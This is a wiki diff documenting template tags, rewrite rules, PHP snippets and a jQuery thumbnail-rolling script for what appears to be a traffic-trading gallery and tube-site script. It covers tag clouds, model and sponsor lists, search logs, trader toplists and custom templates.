 +        <font size='<!--TAG_RANK-->'> 
 +          <!--TAG_NAME--> <!--TAG_HITS--> 
 +        </font> 
 +      </a> 
 +</tag_cloud>
  
- <tag_cloud order=alphabet num=1-10> +and sort by the number of gallery in the tag
-      <a href="/tag/<!--TAG_NAME-->/"><font size='<!--TAG_RANK-->'><!--TAG_NAME-->  <!--TAG_HITS--></font></a>   +
- </tag_cloud>+
  
-and sort them based on amount if galleries by this tag +<tag_cloud order=tag_hits num=1-10> 
 +      <a href="/tag/<!--TAG_NAME-->/"> 
 +        <font size='<!--TAG_RANK-->'> 
 +          <!--TAG_NAME--> <!--TAG_HITS--> 
 +        </font> 
 +      </a> 
 +</tag_cloud> 
 +</code>
  
- <tag_cloud order=tag_hits num=1-10> +Other tag parameters <tag_cloud 
-      <a href="/tag/<!--TAG_NAME-->/"><font size='<!--TAG_RANK-->'><!--TAG_NAME-->  <!--TAG_HITS--></font></a>   +<code> 
- </tag_cloud>+gallery_count_min - minimum number of galleries to display 
 +first_letter - tag starts with this letter 
 +filter - the tag contains this word, in addition you can use 
 +  filter_type = exact_search for exact match 
 +  filter_type = fulltext_search - if FULLTEXT index is added
  
 +status=all by default <tag_cloud displays only active tags,
 +  if you need to display everything, you can add status=all
  
 +tag_has_thumb - only those tags for which there is a thumb tag
 </code> </code>
  
-Tag cloud is created every 30 minutes and stored into the cache. So if you clear up the cache - tag cloud will be unavailable some time. 
  
-Starting with update 49 you can create tag cloud with thumbs+ 
 + 
 + 
 +Output of the best thumb for a given tag
  
 <code> <code>
 +<tag_cloud order=tag_hits (or clicks) num=1-10>
  
- <tag_cloud order=tag_hits (or clicks) num=1-10>+<!--TAG_NAME--> and then you can add any tags specific to thumb, 
 +for example <!--THUMB_URL--> which will display the best thumb for this tag
  
-      <a href="/tag/<!--TAG_NAME-->/?<!--THUMB_LINK-->"><!--TAG_NAME-->  <!--THUMB_URL--></a>  +</tag_cloud> 
 +</code>
  
- </tag_cloud>+By default, the selection of the best thumb for each tag is disabled as this loads the server to a certain extent. The settings are located in Rotation - Tube - Settings.
  
  
 +
 +====== Model List ======
 +
 +You can display all available models
 +
 +<code>
 +<models num=1-10>
 +<!--MODEL_NAME-->
 +</models>
 +
 +available parameters for model tag
 +
 +<models first_letter=a> models with "a" only
 +<models min_gallery_count=20> minimum 20 gallery
 +<models order=count_galleries> sort by quantity gallery
 +<models order=model_ctr> sorting by average CTR of all gallery models
 +<models order=ctr >- CTR thumb
 +<models order=random >
 +<models model_has_photos=true >
 +  displays only those models
 +  that have a photo
 +  (uploaded manually)
 +<models model_has_thumb=true > displays only those models that have
 +automatically selected model thumb (selected in Rotation Settings - model
 +  thumbs)
 +<models model_custom_var1="asd" > filter by custom var1
 +  (model_custom_var1="asd" )
 +<models model_custom_var1=not_empty > output of those whose customware is not
 +  empty
 +
 +<models model_name="..."
 +<models model_id="..."
 +
 +skip_model_id - skip id, comma separated enumeration if you need to skip
 +  several ids
 </code> </code>
  
-Creating of the best thumb for each tag is off by default because it adds some load, you can turn it on in Rotation - Settings.+===== Model Thumbs =====
  
 +There are 2 options for model images: model photos added in the admin panel, and model thumbs. Just like tag thumbs, the script can automatically select the best thumb for each model. This is enabled in Rotation - Settings - System Thumbs and is disabled by default to avoid extra load.
  
-====== Tag prefix ======+**model thumbs**
  
-You can use PHP code in your templates to play with variables, let's say you want to make the first letter - uppercase+<code> 
 +<models num=1-10> 
 +<!--MODEL_NAME--> <!--THUMB_URL--> which will display the best thumb for the 
 +  model. 
 +</models> 
 +</code>
  
-  <?php ucfirst('<!--DESCRIPTION-->'); ?> 
  
-If a description has a quote you'll get an error, so you have to "escape" quotes+Example rewrite for models
  
-  <?php ucfirst('<!--ESCAPED_DESCRIPTION-->'); ?>+<code> 
 +RewriteCond %{QUERY_STRING} ^(.+)$ 
 +RewriteRule ^model/(.*)/$ \ 
 +  /scj/cgi/out.php?link=images/%{QUERY_STRING}&url=content&p=100\ 
 +  &skip_to_cookie=true&skip_sell=true&model_slug=$1\ 
 +  &force_template=model_galleries [L] 
 +RewriteRule ^model/(.*)/$ 
 +  /scj/tube/?model_slug=$1&force_template=model_galleries [L] 
 +</code>
  
-Here's another example 
  
-  Let's say <!--ALT--> becomes <!--ESCAPED_ALT--> and so on+Display model thumbs (gallery_count_min=1 was added to display only those models for which model thumbs could be created, and for this you need at least one gallery for the model)
  
 +<code>
 +<models num=1-10 gallery_count_min=1 order=ctr>
 +<a href='/model/<!--MODEL_SLUG-->/?<!--THUMB_LINK-->'>
 +  <!--THUMB_URL--> <!--MODEL_NAME-->
 +</a> <br>
 +</models>
 +</code>
  
-At present moment we have following prefixes  
  
-**1. Escape **+===== Model Photos =====
  
-  As an example  <!--ALT--> becomes <!--ESCAPED_ALT--> +Models can also have their own photos. These are the model photos added in the admin panel, not gallery thumbs where this model appears. Photo output:
  
-**2. HTMLENTITY to replace special html characters like & =>  &amp;**  
  
 <code> <code>
-'&' (ampersand) becomes '&amp;'  +<models  num=1-10>
-'"' (double quote) becomes '&quot;' when ENT_NOQUOTES is not set.  +
-''' (single quote) becomes '&#039;' only when ENT_QUOTES is set.  +
-'<' (less than) becomes '&lt;'  +
-'>' (greater than) becomes '&gt;' +
  
 +    <!--MODEL_NAME-->
 +    <model_photos num=1-10>  <!--THUMB_URL-->        </model_photos>
 +    <br>
  
-  example: <!--ALT--> becomes <!--HTMLENTITY_ALT--> +</models>
 </code> </code>
  
-**3. URLENCODE to replace URL variaиду (a space becomes +)  ** +===== Model Pagination ===== 
 + 
 +You can add pagination for models
  
 <code> <code>
-  <!--TAG_1--> becomes <!--URLENCODE_TAG_1--> and so on+<models num=1-12 type=pagination> 
 +<!--PAGE_NUM--> (<!--TOTAL_ITEMS--> <!--TOTAL_PAGES-->) <br> 
 +</models>
 </code> </code>
  
-Basically  http://www.php.net/manual/en/function.urlencode.php 
  
-**4. RAWURLENCODE  ** + 
 +====== Sponsors List ====== 
 + 
 +You can also display a list of sponsors.
  
 <code> <code>
-  <!--TAG_1--> becomes <!--RAWURLENCODE_TAG_1--> +<sponsors num=1-10> 
 +<!--SPONSOR_NAME--> 
 +</sponsors> 
 + 
 +Options 
 + 
 +order= alphabet, ctr, sponsor_name, count_galleries
 </code> </code>
  
-Basically  http://www.php.net/manual/en/function.rawurlencode.php 
  
-Don't forget you can combine <!--GET.. (variables you get from URL, for example ?search=...  is  <!--GET_SEARCH-->) and prefixes , for example +===== Sponsor URLS =====
  
-  <!--ESCAPED_GET_SEARCH--> - you'll get escaped ?search=... +In Rotation - Sponsors, you can define several URLs for each sponsor: site_url, trial_url, and join_url.
  
 +On the gallery page, you can output these URLs with the appropriate tags. However, that means the surfer will see the sponsor URL together with your ref link, and the resulting URL is not always very clean. By default, the script includes a rewrite like http://domain/go/<!--SPONSOR_SLUG-->/, which sends the visitor to the URL specified in site_url.
  
-**5. STRIP_SPECIAL_CHARS_ to delete special characters like !$@ and so on  ** +Can be added to rewrite
  
-Exactly it's :  trim(preg_replace('|[\\\,\|\,<\.>\/\?;:\'\"\[\{\]\}\`~@#\$%\^&\*\(\)\-_=\+]*|i', "", $var))+<code> 
 +RewriteRule ^go/(.*)/(.*)/$ /scj/tube/?action=sponsor&sponsor_slug=$1&field=$2 
 +  [L]
  
 +and use URL
 +http://domain/go/<!--SPONSOR_SLUG-->/trial_url/
 +http://domain/go/<!--SPONSOR_SLUG-->/join_url/
 +
 +to send to other sponsor URLs.
 +</code>
 +
 +====== Search log ======
 +
 +If you have a search form on your site (domain/?search=...), then all search queries are logged, and later you can display a log of these queries.
 +
 +But you can also display a log of these requests on any page, for example
 +
 +  <search_log num=1-10> <!--SEARCH_QUERY--> </search_log>
  
-  Example: <!--STRIP_SPECIAL_CHARS_DESCRIPTION--> 
-===== <tag_list and <group_list ===== 
  
-Outputs all the data for the current gallery. An example shows it better then a thousand words+Please note that when logging search queries, the field from the Banned words setting is also taken into account and if someone searches for a word from the list, it will not be logged.
  
 <code> <code>
-<tag_list num=1-3><!--TAG--> </tag_list>+<search_log num=1-10 > ........ </search_log>
  
-and for groups+order=hits - can also be alphabet, date, if not specified, sort by number of 
 +  hits.
  
-<group_list num=1-3><!--GROUP_NAME--> </group_list>+sort=ASC (DESC) in addition to the tags above to sort in a different order
  
-and models +date_limit=today - can also be yesterday, this_week, this_month
  
-<model_list num=1-3><!--MODEL_NAME--> </model_list>+date_start=date date_end=date
  
 +min_results= where there were more than X results from the search results
 +
 +min_hits= this has been searched at least X times
 +
 +search= filter search queries for this word
 </code> </code>
  
-Note that if you have something like this +there is "syntactic sugar"
  
-  <group_list ><!--GROUP_NAME--> </group_list>+search= CURRENT_CATEGORY_NAME or CURRENT_TAG_NAME
  
-you'll get a result like this "group1,group2,group3," with 1 obsolete comma at the end+which is the same as search=GET_category_name and search=GET_tag_name (we take search words from the URL)
  
-That;'s why we have one more tag+exclude_search_query= exclude from results 
 +   
 +99% will exclude_search_query=GET_search - those excluding the current request
  
-<group_list separator="," ><!--GROUP_NAME--> </group_list> 
  
-which gives you better result like this "group1,group2,group3" 
  
 +When a user searches on the site, we log the query itself, for example “car”, along with the gallery ID that was first for that query. This means we can display not only the search phrases themselves, but also the gallery thumb associated with them. For example:
  
 +<code>
 +<search_log num=1-10>
  
 +<!--SEARCH_QUERY-->
  
-====== Search log ======+Best gallery: <!--THUMB_URL--> <!--GALLERY_ID--> 
 +etc. gallery data, which was the first for this request 
 +</search_log> 
 +</code>
  
-if you have a search form like (domain/?search=...) - those search requests are being logged. You can  output a list of these requests later http://domain/scj/tube/?search_log=all and template 'search_log' is used. 
-Default rewrite - http://domain/search_log/1/, you can of cause change it. 
  
-You can also output that list at any page+You can specify not to save search queries to the log
  
-  <thumb search_log=all num=1-10> <!--SEARCH_QUERY--> </thumb>+<code> 
 +<search_log num=1-10 skip_search_log=true>
  
 +<!--SEARCH_QUERY-->
 +for this request
 +</search_log>
 +</code>
  
-search_log=all - 'all' here is the only available option now.+====== Search log : allow_dupes ======
  
-Search queries are filtered through banned_words (from rotation-settings)+each search remembers the first gallery based on the results of this search, you can display it as
  
 +<code>
 +<search_log num=1-10>
 +<!--SEARCH_QUERY-->  - Best gallery: <!--THUMB_URL--> <!--GALLERY_ID-->
 +</search_log>
 +</code>
  
-Some examples +however, there is a possibility that for different searches the first gallery will be the same gallery, so by default it does not display duplicates. If you display only the search phrase, without gallery, then such duplication is not important to you and you can do it
  
 <code> <code>
 +<search_log num=1-10 allow_dupes=true>
 +<!--SEARCH_QUERY-->
 +</search_log>
 +</code>
  
-<thumb search_log=all num=1-10 > ........ </thumb>+====== Related Search log ======
  
-you can add +For example, a user searched for “car” on our website, and then searched for “gasoline” or “trailer”; these are related search queries.
  
-order=hits - ( alphabet, date ) the way to sort results+If we remember this, we will be able to display such queries in the future, for example, the user searches for “car”, and we also display “maybe you also want to see the results for gasoline and trailer.”
  
-date_start= date_end= or date_limit=today (yesterday, this_week, this_month) - limit results+For tracking, you need to change the links on the site so that the search query looks like
  
 +  /?search=....&ref_search_query=...
 +  
 +where ref_search_query= is the previous query.
 +
 +For example, in the search form
 +
 +<code>
 +<form method=GET>
 +    <input type=text name="search">
 +    <input
 +      type=hidden
 +      name="ref_search_query"
 +      value="<!--GET_HTMLENTITY_search-->">
 +    <input type=submit >
 +</form>
 </code> </code>
  
 +to then display related queries
  
 +<code>
 +<search_log num=1-10 search_field=ref_search_query search=GET_search>
 +<!--SEARCH_QUERY--> <br>
 +</search_log>
 +</code>
  
-===== Rows and Cols =====+That is, in ref_search_query we look for records that match GET_search. 
 +====== Search log - approved ======
  
-There are settings for rows ans cols, it doesnt affect template, it's for [[Cell Stats]]+By default, all search queries are saved to the database and marked as new. Also, by default, the <search_log tag displays all queries. But there may be a situation when some banned words were searched on your website, but these words were not in the list of banned words, and on your website, when you display a list of search phrases, a link with a banned word automatically appears.
  
-===== Custom Templates =====+If you are likely to have such a situation, you can do the following:
  
-You can have as many custom template as you want. For example, default template for custom image galleries - content_custom_pic, but you can create for example my_sponsor1_pic and set it as a template for selected galleries (in Import or later Massedit). +  <search_log num=1-10 approved_only=true> 
  
-But you can do more. Basic template of index page - index (yeap, it's easy :) ) But if you want separate template for trader trd.com you can create template index_trd (any name actually) and after that you have 3 options to use it.+and will display only those search phrases that you approved in the admin panel.
  
-  * ask trader to send traffic to http://your_domain.com/?force_template=index_trd +====== Syntactic Sugar ======
-  * create rewrite for link1  +
-  * create file trd.php and set it as personal page for this trader+
  
-content of trd.php +For convenience, you can use “syntactic sugar” in macros, for example 
 + 
 +  <search_log num=1-10 search=CURRENT_TAG_NAME > ........ </search_log> 
 + 
 +this syntactic sugar works in all tags 
 + 
 +currently added 
 + 
 +  CURRENT_CATEGORY_NAME 
 +  CURRENT_TAG_NAME 
 + 
 + 
 +It is planned to add all the data, if you need something more, write on the forum and it will be added. 
 + 
 +===== Search log pagination===== 
 + 
 +Solved by adding type=pagination to the tag 
 + 
 +<code> 
 +<search_log type=pagination num=1-20> 
 + <!--PAGE_NUM--> 
 +</search_log> 
 +</code> 
 + 
 + 
 +Please note that the pagination tag must be the same as the "main" tag, for example the main tag 
 + 
 +  <search_log type=pagination filter=GET_search 
 +   
 +that means there should be pagination 
 + 
 +  <search_log type=pagination filter=GET_search type=pagination 
 +   
 +In this way, you can make, for example, 2 <search_log tags with different parameters and display the pagination based on one of them. 
 +===== Search log filter ===== 
 + 
 +You can also display a log of search queries, for example 
 + 
 +<code> 
 +<search_log  num=1-10 search=GET_search> 
 + <!--SEARCH_QUERY--> 
 +</search_log> 
 +</code> 
 + 
 + 
 +you can filter it taking into account the current search For example, a surfer is looking for domain.com/?search=test, in our template 
 + 
 +<code> 
 +thumb output for search results 
 +<thumb num=1-10> <!--GALLERY_ID--> </thumb> 
 + 
 +and output of search queries 
 + 
 +<search_log num=1-10 search=GET_search> <!--SEARCH_QUERY--> </search_log> 
 + 
 +where GET_search is the search parameter from GET (those URLs) 
 +</code> 
 + 
 +**Filtering note** 
 + 
 +By default, MySQL searches by full phrase. For example, if the query is "test car", it will filter by the full occurrence. In that case, a phrase like “test bus” will not be shown. 
 + 
 +If you use MySQL 5.6 or newer, the field is automatically converted to full-text search, and then you do not need to do anything special: the script will automatically search by individual words, so “test bus” will also be included in the results. 
 + 
 +But if you have mysql up to 5.6 OR the number of search queries is very large (100k+), then you need to use sphinx for search. We index search queries (see Sphinx wiki article) and set Sphinx Search Log Index in settings.  By default, Sphinx also searches for complete occurrences, but you can assign the flag Sphinx Search Mod = SPH_MATCH_ANY to it and it will search even for one word. 
 +===== Search query limit ===== 
 + 
 +There may be a lot of options for limiting search on a site, for example 
 + 
 +/?search=...  
 +  could turn into  
 +  /?search=...&category_id=.. 
 +  or 
 +  /?search=...&tag=.. 
 +   
 +and so on, the options can be different and combined, so the free parameter &search_query_limit has been added 
 + 
 +For example, we are searching for the group teen. 
 +Add search_query_limit=teen to the URL, for example /?search=...&category_name=teen&search_query_limit=teen and for example search simply without limit by group /?search=....&search_query_limit=empty 
 + 
 +when outputting <search_log  num=1-20>, if we want to display searches only that were in the group teen then (and we remember that there was search_query_limit=teen) 
 + 
 +  <search_log num=1-20 search_query_limit=teen> 
 +   
 +You can substitute &search_query_limit depending on how you want to filter queries later. And of course we remember that this can be made dynamic if we take the parameter from the URL 
 + 
 +  <search_log num=1-20 search_query_limit=GET_your_param> 
 +   
 +**Language search**  
 +Similarly, you can divide the search by language so that it can be displayed in the corresponding languages. The script itself does not determine what language a particular sentence is written in, but this can be taken from the URL, for example, add a parameter with the current language &search_query_limit=lng_en to the search bar 
 + 
 + 
 +  domain/?search=test&force_lng=en&search_query_limit=lng_en 
 +  domain/?search=test1&force_lng=en&search_query_limit=lng_en 
 +  domain/?search=blabla&force_lng=de&search_query_limit=lng_de 
 +  domain/?search=blabla2&force_lng=de&search_query_limit=lng_de 
 + 
 + 
 +Thus, in our database for each search it will be noted in what language it was made. Adding a parameter is easy right in the template, for example <input type=hidden name=search_query_limit value='lng_<!--GET_force_lng-->'> 
 + 
 +In the template we add 
 + 
 +  <search_log num=1-20 search_query_limit=GET_your_param> 
 +   
 +and open the page as domain/?your_param=lng_en, we should get 
 + 
 +  test,test1 
 + 
 + 
 +maybe they are marked lng_en 
 + 
 + 
 +Please note that you can manually add searches to the database (Add Search requests) in the format "search_query|search_query_limit" and immediately specify search_query_limit 
 +====== Toplist ====== 
 + 
 +A familiar scheme for many is a toplist of traders in a separate file and included in the template. It’s better to skip the moment of creating a separate file and add top traders directly to the template, and you can, for example, mix them in. 
 + 
 +<code> 
 +<thumb num=1-3></thumb> 
 +trader thumb 
 +<thumb num=3-6></thumb> 
 +2 more trader thumbs, etc. 
 +</code> 
 + 
 +This way you don’t have to make a dedicated toplist and even set it to 100. 
 + 
 +Previously, if you wanted to show 1 or 2 trader thumbs, you had to create many separate top templates and include them in the right place. Now traders can be displayed directly in the template in the required quantity. 
 + 
 +<code> 
 +<thumb num=1-3></thumb> 
 + 
 +<trader num=1> <!--TRADER_DOMAIN--> </trader> 
 + 
 +<thumb num=3-6></thumb> 
 + 
 +<trader num=2-3> <!--TRADER_DOMAIN--> </trader> 
 +</code> 
 + 
 + 
 +You can specify a random number of thumbs, for example  
 +<code> 
 +<trader num=random random_start=1 random_end=10 random_items=3 
 +</code> 
 + 
 +will bring out 3 traders who are somewhere in positions between 1 and 10 
 + 
 + 
 + 
 +Total inside the <trader tag you can use 
 + 
 +<code> 
 +<!--TRADER_NUM--> number in the top 
 +<!--TRADER_DOMAIN--> - domain 
 +<!--TRADER_DESCRIPTION--> = <!--DESC--> 
 +<!--TRADER_FULL_DESC--> 
 +<!--TRADER_IMAGE--> <!--TRADER_IMAGE2--> 
 +and so on 
 +if you have more than one thumb 
 +for each trader 
 +<!--TRADER_EXTRA_IMAGE--> 
 +<!--TRADER_URL--> 
 +<!--TRADER_TOTAL_UNI--> 
 +<!--TRADER_TOTAL_ROW--> 
 +<!--TRADER_TOTAL_CLICKS--> 
 +<!--TRADER_TOTAL_OUT--> 
 +<!--TRADER_TOPLIST_COMMENT--> 
 +<!--TRADER_GROUP_NAME--> pers dex for group 
 +<!--TRADER_GROUP_DESC--> - individual trader descriptions by groups (in 
 +  editing a trade) 
 +</code> 
 + 
 + 
 +There is one small detail about per-group descriptions. Suppose trader A belongs to group 1. 
 +The trader’s regular description is “test”, while the description for group 1 is “super test”. If we output the 
 + 
 +macro 
 + 
 +  <trader num=1-10> 
 +   
 +this displays all traders, including trader A. Since no group is specified here, <!--TRADER_GROUP_DESC--> will display “test”. But if a group is specified in the macro, for example 
 + 
 +     
 +  <trader group=new num=1-10> 
 + 
 +then <!--TRADER_GROUP_DESC--> will output "super test". 
 + 
 + 
 + 
 +Possible parameters for the tag 
 + 
 +<code> 
 +<trader num=1 .... > 
 +num = trader number, there can be a range for example 1-5 
 + 
 +order = sorting, options uniques, raws, priority, clicks, random by default - 
 +  uniques. 
 + 
 +group= group of traders 
 + 
 +skip_group= skip group 
 + 
 +unique_hits_limit=2-100 - limit on the number of hits of traders 
 +</code> 
 + 
 +The priority sorting option is mainly useful for trading: traders that should receive traffic first will appear higher in the template. 
 + 
 + 
 +**Blocked countries** 
 + 
 +If you have some countries blocked for a trader (conditionally, do not send IN to a domain.com trader), then it is logical not to display this trader in the top traders for traffic from India. To do this, you need to add to the tag 
 + 
 +  <trader num=1-20 skip_blocked_countries=true> 
 + 
 + 
 +This slightly increases the load because for each hit you need to check what to output, on the other hand, it distributes traffic more correctly. 
 + 
 +**Trader thumbs** 
 + 
 +By default, trader thumbs are created in scj/top/tt (can be changed in settings) in the form trader.com.jpg. In fact, you don’t even need <!--TRADER_IMAGE--> (it’s just syntactic sugar), you can simply output  
 +<!--TRADER_DOMAIN-->.jpg 
 + 
 +If you specified a trader URL by category, then the thumb name will be created using the pattern trader.com.CATEGORY_NAME.jpg, for example trader.com.teen.jpg. To display it, you can use <!--TRADER_DOMAIN-->.category.jpg 
 + 
 +===== Trader CRC ===== 
 + 
 +Option to hide a domain in a link, for example 
 + 
 +<code> 
 +<trader num=1-2> 
 +    <a 
 +      href="out.php?member_crc=<!--TRADER_CRC-->" > <!--TRADER_DOMAIN--> </a> 
 +        <br> 
 +</trader> 
 +</code> 
 + 
 +That means the domain will not be visible in the link. 
 +====== Rotation Settings ====== 
 + 
 +All rotation settings are available in templates like 
 + 
 +<code> 
 +<!--ROTATION_SETTINGS_name--> 
 +for example 
 +<!--ROTATION_SETTINGS_tube_reg_captcha--> 
 +</code> 
 +   
 +Variable names can be seen in the admin panel in the field names (F12 in the browser) 
 + 
 + 
 +====== Default templates ====== 
 + 
 +By default, the script has preset templates. In most cases, their names and descriptions are clear.  
 +These templates are not deleted from the admin panel. so as not to delete anything accidentally. 
 + 
 +content_single_item is a template for displaying a large image with a pixel galley on a separate page. 
 + 
 +====== Custom Templates ====== 
 + 
 +You can add an unlimited number of your templates and call them using ?force_template=... 
 + 
 +For example, you want a separate design for your trd.com trader 
 +First, we create the trd_personal template and in it we create a template specifically for this trader. 
 + 
 +Here are some options on how you can do this. The meaning of all these operations is the same - pass the parameter force_template= 
 + 
 +**1.** trader can send to URL http://your_domain.com/?force_template=trd_personal 
 + 
 +**2.** you can create a file your_domain.com/t.php with the following content
  
 <code> <code>
 <?php <?php
-$_GET['force_template'] = 'index_trd';+$_GET['force_template'] = 'trd_personal';
 include('./scj/tube/index.php'); include('./scj/tube/index.php');
 </code> </code>
  
 +and register this t.php as a personal page for the trader.
  
-====== Developer Mode ======+**3.** in your_domain.com/common.php add a line like
  
-Sometimes it's easier to edit template on FTP, not in admin. If you set Developer Mode ON - script will search in scj/tube/default_templates for file with names  *.tpl and replace existing templates in DB with content of those files. For example, content_list.tpl - for template content_list, and so on.  Make sure you turn OFF this option on high traffic.+<code> 
 +after 
 +<?php 
 +add
  
 +if (strstr($_SERVER['HTTP_REFERER'], 'trd.com')) $_GET['force_template'] =
 +  'trd_personal';
 +</code>
  
-====== Cache ====== 
  
-Actually cache options are located under Rotation -Settings menu, but I think it worth mention here. When script processes template and replaces tags with actual data - it saves result into cache so next time, when another surfer loads the same page, script doesnt have to process it again. You can see Cache time in Rotation - Settings. It's in seconds, 900 by default. It means that if surfer visits your index page at 10:00, this pages will be saved in cache till 10:15.  This saves server resources so set cache time based on server resources.+====== Custom gallery - antibot question ====== 
 + 
 +By default, captcha is used to protect comments on custom galleries from spam. There is now a second option: <!--ANTIBOT_QUESTION-->, which takes questions from the trader signup questions in Settings - Cjsettings - wm signup. 
 + 
 +This is useful because the smartcj.com forum used to get a lot of spam: standard captchas have long been solved automatically, while a question is much harder to solve automatically. The result was that roughly 99% of the spam disappeared. 
 + 
 +====== Tag Processing ====== 
 + 
 +Tags are processed first, and PHP is executed afterward. For example, suppose you have the following markup: 
 + 
 +<thumb num=1-5> 
 +<!--GALLERY_SLUG--> <?php $count++; ?> 
 +</thumb> 
 + 
 +This means it will first expand into 
 + 
 +<code> 
 +slug1 <?php $count++; ?> 
 +slug2 <?php $count++; ?> 
 +slug3 <?php $count++; ?> 
 +slug4 <?php $count++; ?> 
 +slug5 <?php $count++; ?> 
 +</code> 
 + 
 +and only then will PHP be executed. 
 + 
 +This also means that you can’t put PHP into the tag itself, for example 
 + 
 +<thumb num=$my_var> 
 + 
 +because tags are processed before PHP. 
 + 
 +Data can be passed into a tag, for example from URL GET_ variables or predefined vars such as CURRENT_ITEM_... 
 +====== Global Custom Vars ====== 
 + 
 +It is often convenient to have global replacements available in all templates, for example banner slots or link-exchange blocks. For that, use **Rotation - Tube - Tpl Custom Vars**. Variables added there are available in any template. For example, if you add **my_var1**, it becomes available as **<!--CUSTOM_VAR_MY_VAR1-->**. This is useful when you want to change something like a banner across all templates at once. 
 + 
 +A custom variable can also be translated for each language. 
 + 
 +For example, you have a main language (in which you add content) and you have added as many languages ​​as necessary in Rotation Settings - Multilingual. Now the variable <!--CUSTOM_VAR_MY_VAR1--> is different for each language; if there is no translation for a specific language, then the main one will be used. 
 + 
 +**Mobile** 
 + 
 +You can change a custom variable for mobile users by adding _MOBILE 
 + 
 +For example, assume you have a template variable MY_VAR, which is output as <!--CUSTOM_VAR_MY_VAR-->. You can add MY_VAR_MOBILE, and when the page is opened on a mobile device, the <!--CUSTOM_VAR_MY_VAR--> tag will output the value of MY_VAR_MOBILE instead of MY_VAR. 
 + 
 + 
 + 
 +**Translation** 
 + 
 +You can quickly translate from the primary language to a secondary language. In **Translation [+]**, select which variables should be translated and specify the translation URL, for example: 
 + 
 +<code> 
 +external::http://your_domain/scj/bin/rotation.php 
 +  ?action=translate_text 
 +  &text={MAIN_VALUE} 
 +  &source_lng=en 
 +  &target_lng={TRANSLATION_LNG} 
 +  &api_key=... 
 + 
 +The default option is Google Translate. 
 + 
 +Pay attention to these parameters: 
 + 
 +&source_lng=en - main language 
 +api_key - API key from Google 
 + 
 +You can replace Google with any translation service you prefer. 
 +During translation, the script replaces {MAIN_VALUE} with the actual source text 
 +and {TRANSLATION_LNG} with the target language name, 
 +for example it. 
 +</code> 
 + 
 + 
 +====== Mobile templates and Mobile Custom Vars ====== 
 + 
 +There are 3 main approaches to templates for mobile users. 
 + 
 +Goal: display banner_1 on desktop and banner_2 on mobile. 
 + 
 + 
 +**Option 0** 
 + 
 +Hopefully this approach is no longer used, but for completeness: create two templates, index and mobile_index, and place the banner directly in the HTML of each template. 
 + 
 +If that banner appears on more than one page, editing it means touching every page manually. 
 + 
 + 
 + 
 +**Option 1** 
 + 
 +Create 2 custom variables, for example banner_1 (will be displayed as <!--CUSTOM_VAR_BANNER_1-->) and banner_2 (will be displayed as <!--CUSTOM_VAR_BANNER_2-->) 
 + 
 +Create two templates, index and mobile_index, and use the appropriate variable in each. 
 + 
 +This approach makes sense if your mobile template is radically different from the desktop one. 
 + 
 + 
 +**Option 2** 
 + 
 +Recommended approach: 
 + 
 +Create two custom variables, for example banner (displayed as <!--CUSTOM_VAR_BANNER-->) and banner_mobile (it can also be displayed as <!--CUSTOM_VAR_BANNER_MOBILE-->, although that usually is not needed). 
 + 
 +In the index template, add only <!--CUSTOM_VAR_BANNER--> in the required place. For mobile users it will automatically output banner_mobile. 
 + 
 +This is the preferred approach because templates are generally expected to adapt to the device width. 
 +====== Developer mode ====== 
 + 
 +Templates are stored in the database, but some users prefer editing them over FTP rather than through the admin panel. For that case, there is Developer Mode: you can upload a template to scj/tube/default_templates as template_name.tpl, for example content_page.tpl or index.tpl. Each time the script starts, it checks that directory and, if templates are found there, updates the database from those files. 
 + 
 +After all the templates are configured, it makes sense to disable it so that the script does not do unnecessary checks = saving server resources. 
 + 
 + 
 + 
 +====== User Thumbs ====== 
 + 
 +Often, many thumbs from one video are needed not for rotation and selecting the best thumb, but for thumb rolling, that is, when the picture changes as the user hovers over the thumb. In that case, there is usually not enough traffic to rotate so many thumbs, and storing every thumb in the database would only make it larger and heavier. When content is grabbed, the script can save user thumbs only to disk in /thumb/user_thumbs/gallery_id/. 
 + 
 +For example, we decided that each gallery would have 10 thumbs for rolling 
 + 
 +**Work options in this case:** 
 + 
 +**1. if we have thumb ready, then we import it as** 
 + 
 +  video_url|thumbs|user_thumbs 
 +   
 +thumbs are the thumbs that will take part in rotation and be stored in the database, while user_thumbs are downloaded and saved only to disk and are not added to the database. 
 + 
 + 
 +we write in the template 
 + 
 +<code> 
 +<script 
 +  src="//cdnjs.cloudflare.com/ajax/libs/jquery/1.8.2/jquery.min.js" 
 +></script> 
 + 
 +<script> 
 +var amount_of_rolling_thumbs = 10; 
 + 
 +$(document).ready(function() { 
 +  $(".rotation_thumb").bind("mouseenter", function() { 
 +    $(this).attr("rotating", 1); 
 +    StartSlide($(this)); 
 +  }).mouseleave(function() { 
 +    $(this).attr("rotating", 0); 
 + 
 +    if ($(this).attr("original_src")) { 
 +      $(this).attr("src", $(this).attr("original_src")); 
 +    } 
 +  }); 
 +}); 
 + 
 +function StartSlide(thumb) { 
 +  if (!thumb.attr("rotating") || thumb.attr("rotating") == 0) { 
 +    return false; 
 +  } 
 + 
 +  if (!thumb.attr("original_src")) { 
 +    thumb.attr("original_src", thumb.attr("src")); 
 +  } 
 + 
 +  var cur = parseInt(thumb.attr("current_img")); 
 +  cur = (!cur || cur == 0) ? 1 : (cur + 1); 
 + 
 +  if (cur > amount_of_rolling_thumbs) { 
 +    cur = 1; 
 +  } 
 + 
 +  thumb.attr("current_img", cur); 
 + 
 +  var preload = new Image(); 
 +  preload.src = 
 +    thumb.attr("data-rolling-thumbs-folder") + "/" + cur + ".jpg"; 
 + 
 +  if (thumb.attr("rotating")) { 
 +    setTimeout( 
 +      "ChangeSRC('" + thumb.attr("id") + "', '" + preload.src + "')", 
 +      700 
 +    ); 
 +  } 
 +} 
 + 
 +function ChangeSRC(id, src) { 
 +  if (!$("#" + id).attr("rotating") || $("#" + id).attr("rotating") == 0) { 
 +    return false; 
 +  } 
 + 
 +  $("#" + id).attr("src", src); 
 +  StartSlide($("#" + id)); 
 +} 
 +</script> 
 + 
 +<thumb num=1-10> 
 +  <a href='/gallery/<!--GALLERY_SLUG-->/index.html'> 
 +    <img 
 +      id='th_<!--THUMB_ID-->' 
 +      class='rotation_thumb' 
 +      src='<!--THUMB_URL-->' 
 +      data-rolling-thumbs-folder='<!--USER_THUMBS_FOLDER-->' 
 +    > 
 +  </a> <br> 
 +</thumb> 
 +</code> 
 + 
 + 
 +Note the data-rolling-thumbs-folder='<!--USER_THUMBS_FOLDER-->' attribute. The script replaces it with /thumb/user_thumbs/gallery_id/ for the current gallery. 
 + 
 + 
 + 
 +**2. if our thumbs are cut from videos** 
 + 
 + 
